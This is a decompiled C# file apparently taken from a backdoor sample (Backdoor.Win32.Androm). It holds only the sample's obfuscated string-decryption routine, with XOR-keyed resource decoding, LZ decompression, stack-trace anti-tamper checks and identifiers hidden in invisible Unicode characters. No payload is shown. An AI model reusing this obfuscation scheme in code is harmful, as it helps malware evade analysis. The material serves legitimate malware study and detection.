// Decompiled with JetBrains decompiler
// Type: 
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;

internal static class \u000F
{
  private static \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 \u0002;
  private static \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006 \u0003;
  private static byte[] \u0005;
  private static short \u0008;
  private static int \u0006;
  private static byte[] \u000E;
  private static int \u000F;
  private static int \u0002\u2000;
  private static \u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002 \u0003\u2000;

  [MethodImpl(MethodImplOptions.NoInlining)]
  static \u000F()
  {
    int num1 = -426164219;
    int num2 = num1 - 1979452043;
    \u000F.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(9);
    int skipFrames = 1;
    StackTrace stackTrace = new StackTrace(skipFrames, false);
    int index = skipFrames - 1;
    StackFrame frame = stackTrace.GetFrame(index);
    int num3 = ~-~--~-~~-~(1059686908 - num1 ^ num2) ^ -~~--~~-~-~((num1 ^ -1708053339) + num2);
    MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
    if (frame != null)
      num3 ^= -~~--~-~~(1149007232 - num1 - num2);
    Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
    int num4;
    if ((object) type == (object) typeof (RuntimeMethodHandle))
    {
      \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 4 | \u000F.\u0003\u2000;
      num4 = num3 ^ (num1 - 1979451816 ^ num2) + index;
    }
    else if ((object) type == null)
    {
      num4 = num3 ^ ~--~~-~-~-~((-1777998651 ^ num1) - num2);
      \u000F.\u0003\u2000 |= (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 1;
    }
    else if ((object) type.Assembly != (object) typeof (\u000F).Assembly)
    {
      \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 2 | \u000F.\u0003\u2000;
      num4 = num3 ^ num1 - 738984598 + num2;
    }
    else
    {
      \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 16 | \u000F.\u0003\u2000;
      num4 = num3 ^ ~--~~-~--~~(1979438949 - num1 ^ num2) - index;
    }
    \u000F.\u0002\u2000 += num4;
  }

  private static void \u0002(byte[] _param0, int _param1, byte[] _param2)
  {
    int num1 = 0;
    int num2 = 0;
    int num3 = 128;
    int length = _param2.Length;
label_10:
    while (num1 < length)
    {
      if ((num3 <<= 1) == 256)
      {
        num3 = 1;
        num2 = (int) _param0[_param1++];
      }
      if ((num2 & num3) != 0)
      {
        int num4 = ((int) _param0[_param1] >> 2) + 3;
        int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
        _param1 += 2;
        int num6 = num1 - num5;
        if (num6 < 0)
          break;
        while (true)
        {
          if (--num4 >= 0 && num1 < length)
            _param2[num1++] = _param2[num6++];
          else
            goto label_10;
        }
      }
      else
        _param2[num1++] = _param0[_param1++];
    }
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  internal static string \u0002(int _param0)
  {
    int num1 = 77956711;
    int num2 = num1 + 1837816693;
    lock (\u000F.\u0002)
    {
      string str1;
      byte[] numArray1;
      int num3;
      while (true)
      {
        str1 = \u000F.\u0002.\u0002(_param0);
        if (str1 == null)
        {
          int num4;
          if (\u000F.\u0003 == null)
          {
            Assembly executingAssembly = Assembly.GetExecutingAssembly();
            Assembly.GetCallingAssembly();
            \u000F.\u0006 |= 1988982073 ^ num1 ^ num2;
            Assembly assembly1 = executingAssembly;
            StringBuilder stringBuilder = new StringBuilder();
            int num5 = num1 - 1919747211 - num2;
            stringBuilder.Append((char) num5).Append((char) (num5 >> 16));
            int num6 = 1457178686 - num1 ^ num2;
            stringBuilder.Append((char) num6).Append((char) (num6 >> 16));
            int num7 = (-1768683592 ^ num1) - num2;
            stringBuilder.Append((char) (num7 >> 16)).Append((char) num7);
            int num8 = -1300740973 - num1 + num2;
            stringBuilder.Append((char) (num8 >> 16)).Append((char) num8);
            int num9 = num1 + 1837808501 ^ num2;
            stringBuilder.Append((char) num9);
            string name = stringBuilder.ToString();
            Stream manifestResourceStream = assembly1.GetManifestResourceStream(name);
            int skipFrames = 1;
            StackTrace stackTrace = new StackTrace(skipFrames, false);
            \u000F.\u0006 ^= (num1 ^ 1989541189) - num2 | skipFrames;
            int index = skipFrames - 1;
            StackFrame frame = stackTrace.GetFrame(index);
            MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
            \u000F.\u0006 ^= index + (1993729987 - num1 ^ num2);
            Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
            if (frame == null)
              \u000F.\u0006 ^= (1989557480 ^ num1) - num2;
            bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
            \u000F.\u0006 ^= 1837816597 + num1 ^ num2;
            if (!flag)
            {
              flag = (object) type == null;
              if (flag)
                \u000F.\u0006 ^= (num1 ^ -1988661040) + num2;
            }
            if (flag == (stackTrace != null))
              \u000F.\u0006 = 32 ^ \u000F.\u0006;
            \u000F.\u0006 ^= 1993736617 - num1 - num2 | 1 + index;
            \u000F.\u0003 = new \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006(manifestResourceStream);
            short num10 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~(num1 - 1993703369 + num2));
            if (num10 == (short) 0)
              \u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~-~--~~-~(num1 ^ 1989538110 ^ num2));
            else
              \u000F.\u0005 = \u000F.\u0003.\u0002((int) num10);
            Assembly assembly2 = executingAssembly;
            AssemblyName assemblyName;
            try
            {
              assemblyName = assembly2.GetName();
            }
            catch
            {
              assemblyName = new AssemblyName(assembly2.FullName);
            }
            \u000F.\u000E = assemblyName.GetPublicKeyToken();
            if (\u000F.\u000E != null && \u000F.\u000E.Length == 0)
              \u000F.\u000E = (byte[]) null;
            int num11 = \u000F.\u0002\u2000;
            \u000F.\u0002\u2000 = 0;
            long num12 = \u0003\u2000.\u0002();
            num4 = num11 ^ (int) (uint) num12 ^ -1478415838 - num1 - num2 ^ -~-~~--~~(545810110 + num1 ^ num2);
            \u000F.\u000F = num4;
            \u000F.\u0006 = \u000F.\u0006 & (num1 ^ -1721099279) + num2 ^ num1 + 1837823481 - num2;
            if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) ~-~--~~-~(num1 ^ -1989535658 ^ num2)) == (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 0)
              \u000F.\u0006 = num1 - 1993686153 + num2;
          }
          else
            num4 = \u000F.\u000F;
          if (\u000F.\u0006 != (1989446641 ^ num1) - num2)
          {
            int num13 = _param0 ^ (-1668641839 ^ num1) + num2 ^ num4 ^ 1994045410 - num1 - num2;
            \u000F.\u0003.\u0002().Position = (long) num13;
            if (\u000F.\u0005 != null)
            {
              numArray1 = \u000F.\u0005;
            }
            else
            {
              short num14 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-1989537901 ^ num1) + num2 ^ num13);
              if (num14 == (short) 0)
              {
                numArray1 = (byte[]) null;
              }
              else
              {
                numArray1 = \u000F.\u0003.\u0002((int) num14);
                for (int index = 0; index != numArray1.Length; ++index)
                  numArray1[index] ^= (byte) (\u000F.\u000F >> ((index & 3) << 3));
              }
            }
            num3 = \u000F.\u0003.\u0002() ^ num13 ^ ~-~--~~--~~(-1016057120 - num1 ^ num2) ^ num4;
            if (num3 == (num1 - 1993730117 | num2))
            {
              byte[] numArray2 = \u000F.\u0003.\u0002(4);
              _param0 = (num1 ^ -999205350) + num2 ^ num4;
              _param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0;
            }
            else
              goto label_33;
          }
          else
            goto label_23;
        }
        else
          break;
      }
      return str1;
label_23:
      return new string(new char[3]
      {
        (char) (num1 - 1993730027 + num2),
        '0',
        (char) (1993730027 - num1 ^ num2)
      });
label_33:
      bool flag1 = (num3 & num1 - 1383408779 - num2) != 0;
      bool flag2 = (num3 & -1764366269 - num1 - num2) != 0;
      bool flag3 = (num3 & (num1 ^ 157947971) + num2) != 0;
      int num15 = num3 & (num1 ^ 2036996164 ^ num2);
      byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num15));
      if (\u000F.\u000E != null != (\u000F.\u0006 != -1836208879 - num1 + num2))
      {
        for (int index = 0; index < num15; ++index)
        {
          byte num16 = \u000F.\u000E[7 & index];
          byte num17 = (byte) ((int) num16 << 3 | (int) num16 >> 5);
          numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num17);
        }
      }
      int num18 = \u000F.\u0006 - 12;
      byte[] bytes;
      int length;
      if (!flag3)
      {
        bytes = numArray3;
        length = num15;
      }
      else
      {
        length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
        bytes = new byte[length];
        \u000F.\u0002(numArray3, 4, bytes);
      }
      string str2;
      if (flag1 && num18 == 1839424495 + num1 - num2)
      {
        char[] chArray = new char[length];
        for (int index = 0; index < length; ++index)
          chArray[index] = (char) bytes[index];
        str2 = new string(chArray);
      }
      else
        str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
      int num19 = num18 + ((num1 ^ 1989535684 ^ num2) + (num18 & 3) << 5);
      if (num19 != num1 - 1992118185 + num2)
      {
        int num20 = num15 + _param0 ^ 1994633739 - num1 ^ num2 ^ num19 & num1 - 1993728822 + num2;
        ref int local = ref num20;
        StringBuilder stringBuilder = new StringBuilder();
        int num21 = num1 ^ 1989535715 ^ num2;
        stringBuilder.Append((char) (byte) num21);
        string format = stringBuilder.ToString();
        str2 = local.ToString(format);
      }
      if (!flag2)
      {
        str2 = string.Intern(str2);
        \u000F.\u0002.\u0002(_param0, str2);
        if (\u000F.\u0002.\u0002() == 9)
        {
          \u000F.\u0003.\u0003();
          \u000F.\u0003 = (\u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006) null;
          \u000F.\u0005 = \u000F.\u000E = (byte[]) null;
        }
      }
      return str2;
    }
  }

  private sealed class \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006
  {
    private Stream \u0002;
    private byte[] \u0003;

    public \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006(
      Stream _param1)
    {
      this.\u0002 = _param1;
      this.\u0003 = new byte[4];
    }

    public Stream \u0002() => this.\u0002;

    public short \u0002()
    {
      this.\u0002(2);
      return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8);
    }

    public int \u0002()
    {
      this.\u0002(4);
      return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24;
    }

    private void \u0002() => throw new EndOfStreamException();

    private void \u0002(int _param1)
    {
      int offset = 0;
      if (_param1 == 1)
      {
        int num = this.\u0002.ReadByte();
        if (num == -1)
          this.\u0002();
        this.\u0003[0] = (byte) num;
      }
      else
      {
        do
        {
          int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset);
          if (num == 0)
            this.\u0002();
          offset += num;
        }
        while (offset < _param1);
      }
    }

    public void \u0003()
    {
      Stream stream = this.\u0002;
      this.\u0002 = (Stream) null;
      stream?.Close();
      this.\u0003 = (byte[]) null;
    }

    public byte[] \u0002(int _param1)
    {
      byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException();
      int length = 0;
      do
      {
        int num = this.\u0002.Read(numArray, length, _param1);
        if (num != 0)
        {
          length += num;
          _param1 -= num;
        }
        else
          break;
      }
      while (_param1 > 0);
      if (length != numArray.Length)
      {
        byte[] dst = new byte[length];
        Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length);
        numArray = dst;
      }
      return numArray;
    }
  }

  [DefaultMember("Item")]
  internal sealed class \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008
  {
    private \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] \u0002;
    private int \u0003;

    public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008() => this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[16];

    public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(
      int _param1)
    {
      int length = 16;
      _param1 <<= 1;
      while (length < _param1 && length > 0)
        length <<= 1;
      if (length < 0)
        length = 16;
      this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length];
    }

    public int \u0002() => this.\u0003;

    private void \u0002()
    {
      \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray1 = this.\u0002;
      int length1 = objArray1.Length;
      int length2 = length1 * 2;
      if (length2 <= 0)
        return;
      \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray2 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length2];
      int num1 = 0;
      for (int index1 = 0; index1 < length1; ++index1)
      {
        string str = objArray1[index1].\u0003;
        if (str != null)
        {
          int num2 = objArray1[index1].\u0002;
          int index2 = num2 & length2 - 1;
          while (objArray2[index2].\u0003 != null)
          {
            ++index2;
            if (index2 >= length2)
              index2 = 0;
          }
          objArray2[index2].\u0003 = str;
          objArray2[index2].\u0002 = num2;
          ++num1;
        }
      }
      this.\u0002 = objArray2;
      this.\u0003 = num1;
    }

    public string \u0002(int _param1)
    {
      \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
      int length = objArray.Length;
      int index = _param1 & length - 1;
      string str = (string) null;
      while (objArray[index].\u0002 != _param1)
      {
        if (objArray[index].\u0003 != null)
        {
          ++index;
          if (index >= length)
            index = 0;
        }
        else
          goto label_6;
      }
      str = objArray[index].\u0003;
label_6:
      return str;
    }

    public void \u0002(int _param1, string _param2)
    {
      \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
      int length = objArray.Length;
      int num1 = length >> 1;
      int index = _param1 & length - 1;
      while (true)
      {
        do
        {
          int num2 = objArray[index].\u0002;
          bool flag = objArray[index].\u0003 == null;
          if (num2 == _param1 || flag)
          {
            objArray[index].\u0003 = _param2;
            if (!flag)
              return;
            objArray[index].\u0002 = _param1;
            ++this.\u0003;
            if (this.\u0003 <= num1)
              return;
            this.\u0002();
            return;
          }
          ++index;
        }
        while (index < length);
        index = 0;
      }
    }

    private struct \u0002
    {
      public int \u0002;
      public string \u0003;
    }
  }

  private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002
  {
  }
}